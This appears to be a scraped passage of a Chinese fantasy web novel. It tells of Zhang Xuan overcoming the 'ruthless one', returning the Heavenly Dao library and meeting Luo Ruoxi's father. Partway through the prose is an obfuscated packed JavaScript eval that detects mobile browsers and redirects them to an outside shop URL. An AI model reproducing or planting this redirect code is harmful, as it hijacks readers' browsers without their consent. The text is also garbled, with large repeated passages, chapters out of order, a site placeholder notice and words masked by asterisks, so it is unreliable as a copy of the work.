“你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792656|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百九十五章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 